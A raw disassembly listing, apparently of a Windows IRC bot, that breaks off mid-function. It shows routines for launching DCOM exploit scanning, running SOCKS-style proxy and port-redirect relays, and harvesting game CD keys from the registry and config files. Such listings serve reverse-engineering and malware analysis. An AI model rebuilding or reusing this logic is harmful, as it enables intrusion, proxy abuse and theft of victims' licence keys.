cmp dword_43900C[eax*8], 0 jz loc_407990 cmp [ebp+var_10], 0 push eax jz short loc_4077FC lea eax, [ebp+var_150] push eax call sub_407652 pop ecx jmp short loc_407801 ; --------------------------------------------------------------------------- loc_4077FC: ; CODE XREF: sub_40778B+60j call sub_40760A loc_407801: ; CODE XREF: sub_40778B+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43F54C[ebx] push [ebp+var_3C] push edi call dword_43A444 push eax lea eax, [ebp+var_28C] push offset unk_427990 push eax call sub_4154E7 lea eax, [ebp+var_28C] push eax lea eax, dword_43F348[ebx] push eax call sub_4154E7 push [ebp+var_38] push [ebp+var_3C] push edi call sub_4076EE add esp, 2Ch cmp eax, 1 jnz loc_407980 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4078D5 push offset dword_439968 call dword_4210B4 push [ebp+var_3C] push edi call dword_43A444 push eax lea eax, [ebp+var_28C] push offset unk_427954 push eax call sub_4154E7 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_4078B7 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_4078AB lea eax, [ebp+var_140] loc_4078AB: ; CODE XREF: sub_40778B+118j push eax push [ebp+var_40] call sub_412D4C add esp, 14h loc_4078B7: ; CODE XREF: sub_40778B+FDj lea eax, [ebp+var_28C] push eax call sub_40B16D mov [esp+2A8h+var_2A8], offset dword_439968 call dword_4210B0 jmp loc_407980 ; --------------------------------------------------------------------------- loc_4078D5: ; CODE XREF: sub_40778B+CDj push edi call dword_43A444 push eax lea eax, [ebp+var_208] push eax call sub_4154E7 mov eax, [ebp+var_20] imul eax, 3Ch add eax, offset aDcom135_0 ; "dcom135" push eax lea eax, [ebp+var_178] push eax call sub_4154E7 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_407919 lea eax, [ebp+var_140] loc_407919: ; CODE XREF: sub_40778B+186j push eax lea eax, [ebp+var_1F8] push eax call sub_4154E7 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_42733C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_407980: ; CODE XREF: sub_40778B+C3j ; sub_40778B+145j push 7D0h call dword_421060 jmp loc_4077D2 ; --------------------------------------------------------------------------- loc_407990: ; CODE XREF: sub_40778B+55j push esi call sub_4152AF pop ecx push 0 call dword_421048 sub_40778B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40799F proc near ; DATA XREF: sub_40CE55+31D4o ; sub_40CE55+4D64o var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_43A3F8 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_439008[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_407276 push 8 call sub_4151DB add esp, 150h cmp eax, ebx jnz short loc_407A6D mov esi, offset dword_439968 push esi call dword_4210BC push 80000400h push esi call dword_4210B8 test eax, eax jnz short loc_407A6D lea eax, [ebp+var_1CC] push offset unk_427AD4 push eax call sub_4154E7 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_407A57 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_412D4C add esp, 14h loc_407A57: ; CODE XREF: sub_40799F+99j lea eax, [ebp+var_1CC] push eax call sub_40B16D pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_407A6D: ; CODE XREF: sub_40799F+63j ; sub_40799F+7Fj mov eax, [ebp+var_2C] mov esi, dword_421060 mov edi, ebx mov dword_43900C[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_407B3A loc_407A8B: ; CODE XREF: sub_40799F+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_427A88 push eax call sub_4154E7 push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_414F93 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43F54C[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40778B push ebx push ebx call dword_42108C mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_407B05 loc_407AFA: ; CODE XREF: sub_40799F+164j cmp [ebp+var_4], ebx jnz short loc_407B2C push 1Eh call esi jmp short loc_407AFA ; --------------------------------------------------------------------------- loc_407B05: ; CODE XREF: sub_40799F+159j call dword_421088 push eax lea eax, [ebp+var_1CC] push offset unk_427A38 push eax call sub_4154E7 lea eax, [ebp+var_1CC] push eax call sub_40B16D add esp, 10h loc_407B2C: ; CODE XREF: sub_40799F+15Ej push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_407A8B loc_407B3A: ; CODE XREF: sub_40799F+E6j cmp [ebp+var_30], ebx jz loc_407BE4 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_407B4F: ; CODE XREF: sub_40799F+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_439008[eax*8] push eax call dword_43A444 push eax lea eax, [ebp+var_1CC] push offset unk_4279E0 push eax call sub_4154E7 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_407B9D push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_412D4C add esp, 14h loc_407B9D: ; CODE XREF: sub_40799F+1DFj lea eax, [ebp+var_1CC] push eax call sub_40B16D mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_43900C[eax*8], ebx call esi push 8 call sub_4151DB cmp eax, 1 pop ecx jnz short loc_407BD4 push offset dword_439968 call dword_4210BC loc_407BD4: ; CODE XREF: sub_40799F+228j push [ebp+var_2C] call sub_4152AF pop ecx push ebx call dword_421048 loc_407BE4: ; CODE XREF: sub_40799F+19Ej ; sub_40799F+25Dj mov eax, [ebp+var_2C] cmp dword_43900C[eax*8], 1 jnz loc_407B4F push 7D0h call esi jmp short loc_407BE4 sub_40799F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BFE proc near ; DATA XREF: sub_40CE55+35ABo var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_415570 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call dword_43A3B8 push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call dword_43A438 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407D62 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov dword_43F554[eax], ebx call dword_43A2D4 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43A3E4 test eax, eax jnz loc_407D62 push 0Ah push ebx call dword_43A3E0 test eax, eax jnz loc_407D62 loc_407CA8: ; CODE XREF: sub_407BFE+BEj ; sub_407BFE+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call dword_43A44C mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_407CA8 movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call dword_43A444 push eax lea eax, [ebp+var_34C] push offset unk_427B70 push eax call sub_4154E7 push edi lea eax, [ebp+var_34C] push 10h push eax call sub_414F93 mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_43F54C[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset sub_407D86 push esi push esi call dword_42108C mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_43F55C[ecx], eax jz short loc_407D4D loc_407D3A: ; CODE XREF: sub_407BFE+14Dj cmp [ebp+var_2C], esi jnz loc_407CA8 push 32h call dword_421060 jmp short loc_407D3A ; --------------------------------------------------------------------------- loc_407D4D: ; CODE XREF: sub_407BFE+13Aj call dword_421088 push eax push offset unk_427B20 call sub_40B1E1 pop ecx pop ecx jmp short loc_407D65 ; --------------------------------------------------------------------------- loc_407D62: ; CODE XREF: sub_407BFE+61j ; sub_407BFE+93j ... mov edi, [ebp+arg_0] loc_407D65: ; CODE XREF: sub_407BFE+162j push edi call dword_43A450 push ebx call dword_43A450 push [ebp+var_3C] call sub_4152AF pop ecx push esi call dword_421048 pop edi pop esi pop ebx sub_407BFE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D86 proc near ; DATA XREF: sub_407BFE+11Co var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_415D70 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_43A438 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_407F3C push 10h lea eax, [ebp+var_18] push edi push eax call sub_415570 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call dword_43A3B8 mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_43A3F8 cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_407E16 lea eax, [ebp+var_13C] push eax call dword_43A43C jmp short loc_407E24 ; --------------------------------------------------------------------------- loc_407E16: ; CODE XREF: sub_407D86+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_43A370 loc_407E24: ; CODE XREF: sub_407D86+8Ej cmp eax, edi jz loc_407F3C mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call dword_43A360 cmp eax, 0FFFFFFFFh jz loc_407F3C movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_43A444 push eax lea eax, [ebp+var_344] push offset unk_427C1C push eax call sub_4154E7 push esi lea eax, [ebp+var_344] push 10h push eax call sub_414F93 imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_43F554[ebx] mov dword_43F54C[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43F558[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_407F6D push edi push edi call dword_42108C mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_43F55C[ecx], eax jz short loc_407F29 loc_407ED6: ; CODE XREF: sub_407D86+15Dj cmp [ebp+var_20], edi jnz short loc_407EE5 push 32h call dword_421060 jmp short loc_407ED6 ; --------------------------------------------------------------------------- loc_407EE5: ; CODE XREF: sub_407D86+153j mov ebx, 1000h loc_407EEA: ; CODE XREF: sub_407D86+19Fj push ebx lea eax, [ebp+var_1344] push edi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_43A3D0 cmp eax, edi jle short loc_407F3C push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_43A408 cmp eax, 0FFFFFFFFh jnz short loc_407EEA jmp short loc_407F3C ; --------------------------------------------------------------------------- loc_407F29: ; CODE XREF: sub_407D86+14Ej call dword_421088 push eax push offset unk_427BC8 call sub_40B1E1 pop ecx pop ecx loc_407F3C: ; CODE XREF: sub_407D86+44j ; sub_407D86+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_43F554[eax] call dword_43A450 push [ebp+arg_0] call dword_43A450 push [ebp+var_4] call sub_4152AF pop ecx push edi call dword_421048 pop edi pop esi pop ebx sub_407D86 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F6D proc near ; DATA XREF: sub_407D86+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_415D70 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_407FA4: ; CODE XREF: sub_407F6D+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push dword_43F558[esi] call dword_43A3D0 test eax, eax jle short loc_407FEB push 0 push eax lea eax, [ebp+var_1128] push eax push dword_43F554[esi] call dword_43A408 cmp eax, 0FFFFFFFFh jnz short loc_407FA4 loc_407FEB: ; CODE XREF: sub_407F6D+61j push dword_43F558[esi] call dword_43A450 push [ebp+var_14] call sub_4152AF pop ecx push 0 call dword_421048 pop edi pop esi sub_407F6D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40800A proc near ; DATA XREF: sub_40CE55+58ABo var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_415570 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_40] call dword_43A3B8 push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call dword_43A438 mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_43F554[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_43A3E4 test eax, eax jnz loc_4081AC push 0Ah push edi call dword_43A3E0 test eax, eax jnz loc_4081AC push [ebp+var_40] push [ebp+var_D4] call sub_40A171 pop ecx push eax lea eax, [ebp+var_2D4] push offset unk_427D5C push eax call sub_4154E7 add esp, 10h cmp [ebp+var_30], esi jnz short loc_4080E5 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_412D4C add esp, 14h loc_4080E5: ; CODE XREF: sub_40800A+B9j ; sub_40800A+172j ... lea eax, [ebp+var_2D4] push eax call sub_40B16D pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_43A44C push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_43A444 push eax lea eax, [ebp+var_2D4] push offset unk_427D04 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2D4] push 11h push eax call sub_414F93 mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_43F54C[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_40820F push esi push esi call dword_42108C mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_43F55C[ecx], eax jz short loc_40818C loc_408179: ; CODE XREF: sub_40800A+180j cmp [ebp+var_28], esi jnz loc_4080E5 push 5 call dword_421060 jmp short loc_408179 ; --------------------------------------------------------------------------- loc_40818C: ; CODE XREF: sub_40800A+16Dj call dword_421088 push eax lea eax, [ebp+var_2D4] push offset unk_427CB8 push eax call sub_4154E7 add esp, 0Ch jmp loc_4080E5 ; --------------------------------------------------------------------------- loc_4081AC: ; CODE XREF: sub_40800A+7Bj ; sub_40800A+8Cj push edi call dword_43A450 push [ebp+var_40] lea eax, [ebp+var_2D4] push offset unk_427C74 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4081EF push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_412D4C add esp, 14h loc_4081EF: ; CODE XREF: sub_40800A+1C3j lea eax, [ebp+var_2D4] push eax call sub_40B16D push [ebp+var_3C] call sub_4152AF pop ecx pop ecx push esi call dword_421048 pop edi pop esi pop ebx sub_40800A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40820F proc near ; DATA XREF: sub_40800A+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_43F554[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_43A3A0 test eax, eax jnz short loc_408290 push dword ptr [esi] call dword_43A450 push [ebp+arg_0] call sub_4152AF pop ecx push ebx call dword_421048 loc_408290: ; CODE XREF: sub_40820F+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_43A3D0 test eax, eax jg short loc_4082C1 push dword ptr [esi] call dword_43A450 push [ebp+arg_0] call sub_4152AF pop ecx push ebx call dword_421048 loc_4082C1: ; CODE XREF: sub_40820F+98j cmp [ebp+var_4D0], 4 jnz loc_4084BB cmp [ebp+var_4CF], 1 jnz loc_4084BB cmp [ebp+var_44], bl jz short loc_408357 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_415910 pop ecx test eax, eax pop ecx jz short loc_408357 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset dword_427E3C call sub_40B1E1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_415570 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43A408 push dword ptr [esi] call dword_43A450 push [ebp+arg_0] call sub_4152AF pop ecx push ebx call dword_421048 loc_408357: ; CODE XREF: sub_40820F+CFj ; sub_40820F+E5j push 10h lea eax, [ebp+var_18] push ebx push eax call sub_415570 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_43A438 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4083EF call dword_43A34C push eax push offset unk_427DEC call sub_40B1E1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_415570 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43A408 push dword ptr [esi] call dword_43A450 push [ebp+arg_0] call sub_4152AF pop ecx push ebx call dword_421048 loc_4083EF: ; CODE XREF: sub_40820F+181j lea eax, [ebp+var_18] push 10h push eax push edi call dword_43A360 cmp eax, 0FFFFFFFFh jnz short loc_40845E call dword_43A34C push eax push offset unk_427D98 call sub_40B1E1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_415570 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43A408 push dword ptr [esi] call dword_43A450 push [ebp+arg_0] call sub_4152AF pop ecx push ebx call dword_421048 loc_40845E: ; CODE XREF: sub_40820F+1F0j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_415570 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43A408 push dword ptr [esi] push edi call sub_4084D3 pop ecx pop ecx push edi call dword_43A450 push dword ptr [esi] call dword_43A450 push [ebp+arg_0] call sub_4152AF pop ecx push ebx call dword_421048 loc_4084BB: ; CODE XREF: sub_40820F+B9j ; sub_40820F+C6j push dword ptr [esi] call dword_43A450 push [ebp+arg_0] call sub_4152AF pop ecx push ebx call dword_421048 sub_40820F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084D3 proc near ; CODE XREF: sub_40820F+286p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4084E9: ; CODE XREF: sub_4084D3+C5j ; sub_4084D3+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_408501: ; CODE XREF: sub_4084D3+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_408511 inc ecx add eax, 4 cmp ecx, 1 jb short loc_408501 loc_408511: ; CODE XREF: sub_4084D3+33j cmp ecx, 1 jnz short loc_408526 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_408526: ; CODE XREF: sub_4084D3+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_43A3A0 lea eax, [ebp+var_104] push eax push ebx call dword_43A2B0 test eax, eax jz short loc_408586 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_43A3D0 cmp eax, 0FFFFFFFFh jz short loc_4085CE push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43A408 cmp eax, 0FFFFFFFFh jz short loc_4085CE loc_408586: ; CODE XREF: sub_4084D3+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_43A2B0 test eax, eax jz loc_4084E9 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_43A3D0 cmp eax, 0FFFFFFFFh jz short loc_4085CE push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_43A408 cmp eax, 0FFFFFFFFh jnz loc_4084E9 loc_4085CE: ; CODE XREF: sub_4084D3+9Aj ; sub_4084D3+B1j ... pop edi pop esi pop ebx leave retn sub_4084D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085D3 proc near ; CODE XREF: sub_40CE55+52B0p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_427E94, ebx mov [ebp+var_C], 80h jz loc_408785 push esi push edi mov eax, offset off_427E94 mov esi, offset dword_427EA0 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_408603: ; CODE XREF: sub_4085D3+1AAj lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_43A428 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_43A2C4 test eax, eax jnz loc_40876B mov eax, [esi] cmp eax, ebx jz loc_40872F push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_3 ; "%s\\%s" push eax call sub_4154E7 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_415BE8 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_40876B push eax loc_40867C: ; CODE XREF: sub_4085D3+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41713C add esp, 0Ch test eax, eax jz loc_408724 push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_415AC0 pop ecx test eax, eax pop ecx jz short loc_4086A9 push [ebp+var_8] jmp short loc_40867C ; --------------------------------------------------------------------------- loc_4086A9: ; CODE XREF: sub_4085D3+CFj push 3Dh push dword ptr [esi+4] call sub_417080 pop ecx test eax, eax pop ecx jz short loc_4086E8 lea eax, [ebp+var_70] push offset asc_429098 ; "=" push eax call sub_416C98 push offset asc_429098 ; "=" push ebx call sub_416C98 push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4154E7 add esp, 20h jmp short loc_4086FF ; --------------------------------------------------------------------------- loc_4086E8: ; CODE XREF: sub_4085D3+E4j lea eax, [ebp+var_70] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4154E7 add esp, 10h loc_4086FF: ; CODE XREF: sub_4085D3+113j push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C lea eax, [ebp+var_2F0] push eax call sub_40B16D add esp, 18h loc_408724: ; CODE XREF: sub_4085D3+B9j push [ebp+var_8] call sub_415B40 pop ecx jmp short loc_40876B ; --------------------------------------------------------------------------- loc_40872F: ; CODE XREF: sub_4085D3+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4154E7 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C lea eax, [ebp+var_2F0] push eax call sub_40B16D add esp, 28h loc_40876B: ; CODE XREF: sub_4085D3+60j ; sub_4085D3+A2j ... push [ebp+var_4] call dword_43A394 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_408603 pop edi pop esi loc_408785: ; CODE XREF: sub_4085D3+19j pop ebx leave retn sub_4085D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408788 proc near ; DATA XREF: sub_40CE55+3C21o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_415CF0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_4087DD lea eax, [ebp+var_114] push eax call sub_415CF0 pop ecx mov [ebp+eax+var_115], bl loc_4087DD: ; CODE XREF: sub_408788+3Fj lea eax, [ebp+var_218] push eax push offset unk_4290F0 lea eax, [ebp+var_49C] push 200h push eax call sub_415A6A add esp, 10h cmp [ebp+var_8], ebx jnz short loc_408822 push ebx lea eax, [ebp+var_49C] push 